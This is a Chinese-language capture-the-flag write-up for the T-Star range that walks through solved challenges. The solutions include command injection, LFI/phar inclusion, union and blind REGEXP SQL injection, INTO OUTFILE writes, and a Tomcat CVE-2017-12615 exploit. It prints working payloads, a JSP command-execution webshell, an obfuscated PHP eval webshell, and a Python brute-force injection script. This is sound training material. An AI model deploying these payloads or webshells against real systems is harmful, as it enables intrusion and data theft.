T-Star靶场赛CTF

签到题

上传文件,burp抓包修改文件后缀,改为php。上传成功复制目录直接访问,rce。

命令执行基础

linux符号||,当前一个命令不成功时执行后一个命令。

构造payload

1
1|| cat ../key.php

读取到flag。

文件包含getshell

查看源代码发现lfi.txtx,读取后发现是lfi.php的源代码

1
2
3
4
5
6
7
<?php
$file = $_REQUEST['file'];
if ($file != '') {
$inc = sprintf("%s.php", $file); // only php file can be included
include($inc);
}
?>

提取file参数,并在后面附加上.php

创建webshell文件,注意不要加.php。压缩为zip格式,重命名为txt格式并上传。使用phar协议包含上传的shell,读取flag。

不知道为什么创建交互式webshell失败了,最后是先上传了个ls命令找到了flag位置。

然后用highlight_file函数读取了flag.php文件。

成绩单

基础的sql注入

payload如下

1
2
3
4
5
6
id=1' order by 4%23 //执行成功
id=1' order by 5%23 //执行失败,共有4列
id=0' union select 1,database(),version(),4%23 // 收集信息
id=0' union select 1,2,3,group_concat(table_name) from information_schema.tables where table_schema=database()%23 //爆表名(不知道为什么查询语句放在2上不行)
id=0' union select 1,2,3,group_concat(column_name) from information_schema.columns where table_name='fl4g'%23 //爆列名
id=0' union select 1,2,3,flag from fl4g%23 //获取flag

小猫咪踩灯泡

tomcat远程代码执行(CVE-2017-12615)

进去玩了一下23回合踩灭了,感觉自己好菜。。。

上网梭哈一把poc,https://github.com/breaktoprotect/CVE-2017-12615

写一个jsp的交互式webshell,密码023,参数i

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<%
if("023".equals(request.getParameter("pwd")))
{
java.io.InputStream in=Runtime.getRuntime().exec(request.getParameter("i")).getInputStream();
int a = -1;
byte[] b = new byte[2048];
out.print("<pre>");
while((a=in.read(b))!=-1)
{
out.println(new String(b));
}
out.print("</pre>");
}
%>

按照poc操作,进入后门页面直接拿payload。

文件上传

当时没做出来,提示是str检测,结果居然没有想到双写绕过。

1
<<??php evevalal($_GET['cmd']); ?>

分析代码获得flag

6字符命令执行,无法使用七字符命令执行中的ls -t>a生成有顺序的sh脚本。

大佬的wp是先将cat写入到当前目录下,然后看到key在上级目录,读取即可

1
2
3
>cat		//在当前目录下写入cat命令
ls ../ //获取上级目录下的文件信息
* ../* //cat出上级目录下的所有文件

SQL注入1

当时扫到了源代码泄露,是一段过滤函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php
function SQL_DETECT($PictureId){
$a0=urldecode('%a0');
$PictureId=str_replace('\d', '', $PictureId);
$PictureId=str_replace($a0, '', $PictureId);
$PictureId=str_replace('\/\*.*?\*\/', '', $PictureId);
if(preg_match('/union|order.*by|and|\dor\d|\|\||sleep|BENCHMARK|substr|ascii|select|mid|right|left|right|substring|substring_index|INSTR|LOCATE/i', $PictureId)){

$PictureId='1';

}
return $PictureId;
}
>

过滤了绝大多数的SQL注入关键字,无法使用双写绕过。wp上说明是limit注入写文件,需要开启secure-file-priv

在SQL语句的limit后面添加如下payload即可

1
2
3
4
INTO OUTFILE '物理路径' lines terminated by  (一句话hex编码)
INTO OUTFILE '物理路径' fields terminated by (一句话hex编码)
INTO OUTFILE '物理路径' columns terminated by (一句话hex编码)
INTO OUTFILE '物理路径' lines starting by (一句话hex编码)

SQL2

当时没看,后来发现SQL1没人做出来,这道题到是做出来的人不少

wp中的脚本如下

1
2
3
4
5
6
7
8
9
10
11
import requests
a =['a','b','c','d','e','f','g','h','i','j','k','l','m','n','o','p','q','r','s','t','u','v','w','x','y','z','0','1','2','3','4','5','6','7','8','9']
temp = ''
while(1):
for i in a:
url = 'http://23dcf1dc.yunyansec.com/picture.php?id=3" or password REGEXP '+'\'^'+temp+i+'\' %23'
r = requests.get(url)
if 'not found' not in r.text:
temp = temp+i
print (temp)
break

其中的核心语句就是

1
or password REGEXP \'^temp+i\' %23

用的是正则判断

regexp 正则注入点击跳转

  • regexp ‘^[a-z]’ 判断一个表的第一个字符串是否在a-z中
  • regexp ‘^r’ 判断第一个字符串是否为r
  • regexp ‘^r[a-z]’ 判断一个表的第二个字符串是否在a-z中

爆破flag